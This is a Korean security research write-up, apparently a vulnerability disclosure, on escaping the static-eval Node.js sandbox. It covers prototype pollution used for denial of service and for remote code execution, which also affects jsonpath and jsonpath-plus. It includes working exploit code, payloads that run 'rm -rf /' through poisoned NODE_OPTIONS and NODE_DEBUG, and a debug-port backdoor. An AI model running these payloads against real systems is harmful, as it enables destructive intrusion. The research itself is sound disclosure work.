Bypassing a JS sandbox

   

Overview

컴퓨터 보안에 있어 Sandbox 는 프로그래밍 언어에서 작동중인 프로그램의 Context 를 분리하는 매커니즘으로 운영체제에 대한 접근을 제어하거나, 검증 않은 코드 또는 신뢰할 수 없는 프로그램을 실행할 때 종종 사용됩니다.

이러한 Sandbox 개념은 NodeJS 에서도 존재하는데, V8 엔진을 기반으로 하여 동작하는 NodeJS 에서는 여타의 언어와는 조금 다른 방식으로 구현되고는 합니다. 코드를 파싱하여 작업을 분배해주는 Event Loop 방식을 사용하고 있기 때문에, 효율적인 자원 관리를 위해 프로세스 격리를 기반으로 하는 것보다는 자바스크립트 네이티브에서 지원하는 Proxy 를 사용한 문맥 기반 제어, 또는 AST 를 기반으로 문법적인 제약을 두는 방법이 주로 쓰입니다.

static-evalesprima 라이브러리를 사용하며, 자바스크립트를 AST (Abstract Syntax Tree) 로 변환하고 생성된 AST 를 기반으로 샌드박스 내에서 전역 객체로 지정할 수 있는 객체가 별도 지정, 주어진 표현식을 wrapping하여 Evaluation 합니다.

Ecma2015Proxy 객체를 통해 구현되는 Sandbox 기법과 다르게, 동작 전체가 AST 를 기반으로 행해지기에, parser 역할을 수행하는 esprima 가 지원하지 않는 문법에는 적용이 불가능하다는 단점이 있지만, 의도하지 않은 동작 발생을 보다 확실히 억제할 수 있습니다.

static-eval 모듈은 19년 12월을 기준으로 6447만 다운로드를 기록하였습니다.


Precedent

1
"".sub.constructor("console.log(process.env)")()

구식의 Sandbox Escape 구문 중의 하나 입니다.

함수 생성자를 호출하여 익명 함수를 생성함으로써 문맥 탈출이 가능합니다.

1
2
3
4
5
6
7
8
else if (node.type === 'MemberExpression') {
var obj = walk(node.object);
if (obj === FAIL) return FAIL;
// do not allow access to methods on Function
if((obj === FAIL) || (typeof obj == 'function')){
return FAIL;
}
...

Vendor 에서는 패치로서 MemberExpression 대상 객체의 타입이 함수일 경우
빈 객체를 반환하도록 수정 하였습니다.

1
(function({book}){return book.constructor})({book:"".sub})("console.log(process.env)")()

인자 참조를 함수를 통해 수행함으로서 MemberExpression 에 대한 필터링을 우회하는 방법입니다.

1
2
3
4
5
6
7
8
9
else if (node.type === 'FunctionExpression') {
...
for (var i = 0; i < node.params.length; i++){
var key = node.params[i];
if (key.type == 'Identifier'){
vars[key.name] = null;
}
else return FAIL;
}

Vendor 에서는 FunctionExpression 의 parameter key 값에 대응하는
가상 전역 객체에 null 을 대입하도록 수정 하였습니다.


Static analyze

1
2
3
4
5
6
7
8
9
10
11
var evaluate = require('static-eval');
var parse = require('esprima').parse;

var src = '[1,2,3+4*10+n,foo(3+5),obj[""+"x"].y]';
var ast = parse(src).body[0].expression;

console.log(evaluate(ast, {
n: 6,
foo: function (x) { return x * 100 },
obj: { x: { y: 555 } }
}));

기본적인 static-eval 모듈의 사용법은 위와 같습니다.
파라미터로AST 와 가상 전역 객체를 전달함으로서 비교적 안전하게 수식을 계산할 수 있습니다.

1
2
3
4
5
6
7
8
9
10
11
12
module.exports = function (ast, vars) {
if (!vars) vars = {};
var FAIL = {};

var result = (function walk (node, scopeVars) {
...
else if (node.type === 'Identifier') {
if ({}.hasOwnProperty.call(vars, node.name)) {
return vars[node.name];
}
else return FAIL;
}

esprima를 통해 생성된 AST 는 변수에 해당하는 Identifier 의 값은
가상 전역 객체를 참조하여 반환하도록 합니다.

1
2
3
4
5
6
7
8
9
10
11
12
13
else if (node.type === 'MemberExpression') {
var obj = walk(node.object);
// do not allow access to methods on Function
if((obj === FAIL) || (typeof obj == 'function')){
return FAIL;
}
if (node.property.type === 'Identifier') {
return obj[node.property.name];
}
var prop = walk(node.property);
if (prop === FAIL) return FAIL;
return obj[prop];
}

MemberExpression 에서는 부모 객체가 함수 형태일 경우, 빈 객체를 반환하도록 합니다.
함수 인스턴스 내부의 속성을 참조할 수 없으므로, 함수 생성자 참조가 불가능해집니다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
var unparse = require('escodegen').generate;
...
else if (node.type === 'FunctionExpression') {

var bodies = node.body.body;

// Create a "scope" for our arguments
var oldVars = {};
Object.keys(vars).forEach(function(element){
oldVars[element] = vars[element];
})

for (var i = 0; i < node.params.length; i++){
var key = node.params[i];
if(key.type == 'Identifier'){
vars[key.name] = null;
}
else return FAIL;
}
for(var i in bodies){
if(walk(bodies[i]) === FAIL){
return FAIL;
}
}
// restore the vars and scope after we walk
vars = oldVars;

var keys = Object.keys(vars);
var vals = keys.map(function(key) {
return vars[key];
});
return Function(keys.join(', '), 'return ' + unparse(node)).apply(null, vals);
}

FunctionExpressionstatic-eval 에서 함수 생성자를 사용하고 있는 유일한 부분입니다.
escodegen 라이브러리의 함수를 사용해 ASTchild tree 를 인자로 받아 함수로 만들어 주며
생성된 함수의 호출은 CallExpression 을 통해 가능합니다.


Prototype Pollution in static-eval

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
else if (node.type === 'MemberExpression') {
var obj = walk(node.object);
// do not allow access to methods on Function
if((obj === FAIL) || (typeof obj == 'function')){
return FAIL;
}
if (node.property.type === 'Identifier') {
return obj[node.property.name];
}
var prop = walk(node.property);
if (prop === FAIL) return FAIL;
return obj[prop];
}
else if (node.type === 'FunctionExpression') {

var bodies = node.body.body;

// Create a "scope" for our arguments
var oldVars = {};
Object.keys(vars).forEach(function(element){
oldVars[element] = vars[element];
})

for(var i=0; i<node.params.length; i++){
var key = node.params[i];
if(key.type == 'Identifier'){
vars[key.name] = null;
}
else return FAIL;
}
for(var i in bodies){
if(walk(bodies[i]) === FAIL){
return FAIL;
}
}
// restore the vars and scope after we walk
vars = oldVars;

var keys = Object.keys(vars);
var vals = keys.map(function(key) {
return vars[key];
});
return Function(keys.join(', '), 'return ' + unparse(node)).apply(null, vals);
}
// ({}).constructor
ƒ Object() { [native code] }
// ({}).constructor.constructor
ƒ Function() { [native code] }
// ({}).constructor.constructor("return process;")
ƒ anonymous(
) {
return process;
}
// ({}).constructor
ƒ Object() { [native code] }
// ({}).constructor.constructor
undefined
// ({}).constructor.constructor("return process;")
undefined

MemberExpression 에서 Object.constructor 의 참조는 가능하지만
함수 생성자인 Object.constructor.constructor 는 사용이 불가능합니다.

Object.constructor 의 타입이 Function 이며 MemberExpression 에서 함수 타입 객체에 대해서는 어떠한 속성 참조도 금지되어 있기 떄문입니다.

1
2
var obj = {};
console.log(obj.__proto__ === obj.constructor.prototype);

그러나 __proto__ 속성 참조를 통해 Prototype Pollution을 유발시킬 수 있는데요.
자바스크립트에 존재하는 __proto__ 속성은 constructor.prototype 의 이중 속성 참조를
단번으로 가능하게 하는 별칭과 같은 역할을 합니다.

1
2
3
4
({})['__proto__']['__defineGetter__'](/* prop */, /* getter */);
({})['__proto__']['__defineGetter__']('polluted', function(){ return true; })
// equals to
Object.defineProperty(Object.prototype, 'polluted', {value: true});

여기서 참조한것은 객체 인스턴스의 __proto__.__defineGetter__ 인데
이는 Object.prototype.__defineGetter__ 와 동일하며 Object.defineProperty 와 동일한 역할을 하는데, 우리는 이를 사용해 전역 객체 프로토타입에 정의를 추가할 수 있습니다.

1
2
3
4
5
6
7
8
const evaluate = require('static-eval');
const parse = require('esprima').parse;

var src = `({})['__proto__']['__defineGetter__']('polluted', function(){ return true; })`
var ast = parse(src).body[0].expression;

evaluate(ast);
console.log(polluted); // print "true"

위와 같은 코드로 static-eval 에서의 프로토타입 오염을 확인할 수 있습니다.

프로토타입 오염 취약점은 어떻게 활용할 수 있을까요?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
// make pollution
const evaluate = require('static-eval');
const parse = require('esprima').parse;

var src = `({})['__proto__']['__defineGetter__']('toString', ({})['constructor'])`
var ast = parse(src).body[0].expression;

evaluate(ast);

// serve webapp
const express = require('express');
const app = express();

app.get('/', (req, res) => {
res.end('working!');
});

app.listen(8080);

객체 생성자 프로토타입에 임의의 속성을 정의해 넣을 수 있는 것만으로 DOS 취약점으로 작용할 수 있습니다. 위 코드를 실행해보면, toString 속성이 오염된 상태에서 express 웹서버가 정상적으로 동작하지 않음을 확인할 수 있습니다.


Prototype Pollution to Remote Code Execution

1
2
3
var inst = new Object();
inst.__proto__.isAdmin = true;
console.log(isAdmin); // print "true"

프로토 타입 오염 취약점은 기본적으로 로직 바이패스에 흔히 사용될 수 있습니다.

세션에 정의되지 않은 속성값을 정의해 놓음으로서 인증을 우회한다던지 하는 방법이죠.

1
2
3
4
Object.prototype.command = 'console.log("executed!")';
if (command) {
eval(command);
}

위와 같은 방법으로 rce 가 간단하게 가능했으면 좋겠지만, JS world 는 만만하지 않습니다.

객체 프로토타입 오염에 성공했다고 하더라도, 블랙박스 환경에서는 Denial of Service 이상의 영향력을 보이는 것이 어려울 수 있습니다.

1
2
3
4
5
6
7
8
9
10
11
// https://github.com/nodejs/node/blob/master/lib/child_process.js

const env = options.env || process.env;
const envPairs = [];

for (const key in env) {
const value = env[key];
if (value !== undefined) {
envPairs.push(`${key}=${value}`);
}
}

NodeJS의 내장 모듈이며, 서브 프로세스를 생성하는 데에 사용되는
child_process 모듈은 자식 프로세스를 생성할 때, 환경 변수를 복사하는 과정을 거치는데
복사 과정에 위에서 언급된 for in 반복문을 사용하고 있으므로

process.env 객체 내부에 직접적으로 정의되지 않았더라도
process.env 의 프로토 타입인 Object.prototype 객체가 오염된다면
자식 프로세스 생성에 쓰이는 환경 변수를 임의로 추가해낼 수 있습니다.

1
2
3
NODE_OPTIONS='--require /proc/self/environ' node app.js
# same as
node --require /proc/self/environ app.js

또한 NodeJS 프로세스가 실행될 때, 스크립트가 실행되기 이전에 쓰이는 환경 변수중의 하나로 NODE_OPTIONS 환경변수가 존재하는데
본 변수에 --require [argv] 와 같은 NodeJS 프로세스 실행에 사용되는 옵션을 추가하면
스크립트 실행에 --require [argv] 추가하여 실행한 것과 같은 효과를 줍니다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
const { exec, execSync, spawn, spawnSync, fork } = require('child_process');

// make pollution
Object.prototype.env = {
NODE_DEBUG : 'require("child_process").execSync("rm -rf /")//',
NODE_OPTIONS : '-r /proc/self/environ'
};

fork('blank');
// or
spawn('node', ['blank']).stdout.pipe(process.stdout);
// or
console.log(spawnSync('node', ['blank']).stdout.toString());
// or
console.log(execSync('node blank').toString());

위 두가지를 복합적으로 사용하여 RCE를 유발하는 방법입니다.
환경 변수에 스크립트를 포함시키고, 환경 변수가 저장되는 /proc/self/environ 파일을 require 옵션 파일로 사용할 수 있습니다.

서브 프로세스 생성 시에 NODE_DEBUG 환경변수는 /proc/self/environNODE_OPTIONS 보다 더 앞에 작성되므로
일반 환경변수보다, NODE_DEBUG 를 사용하면, reliability 를 가지도록 할 수 있습니다.

1
2
3
4
5
6
7
8
9
10
11
12
const evaluate = require('static-eval');
const parse = require('esprima').parse;
const {execSync} = require('child_process');

var src = `({})['__proto__']['__defineGetter__']('env', function(){ return {
NODE_DEBUG: 'require("child_process").execSync("rm -rf /")//',
NODE_OPTIONS: '-r /proc/self/environ'
}});`
var ast = parse(src).body[0].expression;

evaluate(ast);
execSync('node blank');

이를 static-eval 모듈에 적용하면 위와 같습니다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
const { exec, execSync, spawn, spawnSync, fork } = require('child_process');

// make pollution
Object.prototype.env = {
NODE_OPTIONS : '--inspect-brk=0.0.0.0:1234'
};

fork('blank');
// or
exec('node blank');
// or
execSync('node blank');
// or
spawn('node', ['blank']);
// or
spawnSync('node', ['blank']);

/proc/self/environ 파일을 사용하는 이전의 방법은 리눅스 서버에서만 작동한다는 단점이 존재합니다.
하지만, --inspect-brk 옵션을 이용하여, 서버에 디버그 포트를 열도록 만듦으로서 윈도우에서도 응용 가능합니다.
본 옵션을 사용하여 서브 프로세스를 생성하면, 옵션에 설정된 포트로 디버거가 연결될 때가지 대기하며
연결이 가능할 경우, 백도어와 동일한 역할을 수행할 수 있습니다.

디버그 포트가 열리면 node inspect host:port 와 같은 명령을 통해 서버에 연결할 수 있습니다.
이후 exec 서브 커맨드를 사용하면 exec child_process.exec('rm -rf /') 와 같이 자유롭게 명령 실행이 가능합니다.

img

1
2
3
4
5
6
7
8
9
10
11
const evaluate = require('static-eval');
const parse = require('esprima').parse;
const {execSync} = require('child_process');

var src = `({})['__proto__']['__defineGetter__']('env', function(){ return {
NODE_OPTIONS: '--inspect-brk=0.0.0.0:1234'
}})`
var ast = parse(src).body[0].expression;

evaluate(ast);
execSync('node blank');

두번째 방법을 static-eval 모듈에 적용하면 위와 같은 모습이 됩니다.


Jsonpath / Jsonpath-plus

static-eval 에 의존성을 가지는 모듈인 JSONPathXML에서의 XPath 와 같은 역할을 하도록 디자인 된, 쿼리 언어의 일종입니다. 그러나 RFC로 정의된 Xpath 와 달리 JSONPath 는 명확한 정의가 이루어지지 않았기 때문에, 구현에 많은 모호함이 있습니다.

img

JSONPathXPath 와 마찬가지로 표현식에 일치하는 문서를 필터링하는 필터 기능을 제공하며, 문법은 위와 같습니다. 확인해보면 소괄호 안에 subscript 를 삽입하는 static evaluation 기능을 제공한다고 되어 있습니다.

1
2
3
4
5
6
7
8
9
10
11
12
var jp = require('jsonpath');
var data = [{}]
var names = jp.query(data, `$..[?( ({})['__proto__']['__defineGetter__']('toString', ({})['constructor']) )]`);

const express = require('express');
const app = express();

app.get('/', (req, res) => {
res.end('working');
});

app.listen(8080);

발견한 취약점을 통해 JSONPath 를 사용하는 서버에 Denial of Service 를 유발할 수 있음을 확인할 수 있습니다.

1
2
3
4
5
6
7
8
9
10
11
12
13
const {JSONPath} = require('jsonpath-plus');

const json = [{}];
var result = JSONPath({path: `$..[?( @['__proto__']['__defineGetter__']('toString', @['constructor']) )]`, json});

const express = require('express');
const app = express();

app.get('/', (req, res) => {
res.end('working');
});

app.listen(8080);

jsonpath-plus 모듈 또한 비슷한 로직으로 구성되며, static-eval 모듈을 사용하기에 동일한 방법으로 Denial of Service 를 유발할 수 있습니다. jsonpathjsonpath-plus 모듈은 현재를 기준으로 각 1594만, 1382만 다운로드를 기록하였습니다.


Another Exploitation

static-eval 모듈에서 RCE를 유발하는 다른 방법입니다.

1
2
3
4
5
6
7
8
9
10
{name: 'value'}
// {name: "value"}
obj = 'apple', {obj}
// {obj: "apple"}
name='apple', {name:'value'}
// {name: "value"}
{[name]:'value'}
// {apple: "value"}
{[console.log(process)]:'value'}
// process {version: "v12.10.0", versions: {…}, arch: "x64", platform: "win32", release: {…}, …}

자바스크립트에서 객체를 정의할 때, key name 부분에 배열 첨자가 사용되면 내부 스크립트를 evaluation 하고
문자열로 변환하여 key 값에 사용합니다.

1
2
({[process]:1})
// {undefined: 1}

static-eval 모듈에서는 이러한 Expression을 처리하지 않고 있기 때문에
내부에 들어가는 스크립트 실행이 이루어지지 않습니다.

1
2
3
4
5
6
var unparse = require('escodegen').generate;
...
else if (node.type === 'FunctionExpression') {
...
return Function(keys.join(', '), 'return ' + unparse(node)).apply(null, vals);
}

그러나 함수 생성자의 인자로 사용되면 조금 다른 동작을 보입니다.
static-eval 모듈 내부에서 함수 정의에 사용하는 escodegen 모듈은 그 표현식을 지원하기 때문인데요.

1
2
3
4
(function() {
return ({[process.version]:1});
})();
// {v12.10.0: 1}

따라서 코드를 함수 정의식 내부에 삽입하여 사용자 함수를 생성해 줌으로서
임의의 코드를 실행하는 것이 가능합니다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
const evaluate = require('static-eval');
const {parse} = require('esprima');

var src = `
(function () {
({
[process.binding('spawn_sync').spawn({
file: 'calc',
args: ['1'],
envPairs: ['y='],
stdio: [{
type: 'pipe',
readable: 1
}]
})]: 1
})
})()`
var ast = parse(src).body[0].expression;
evaluate(ast);

전역 process 객체를 통해 임의 명령 실행을 수행한 예제입니다.


Reference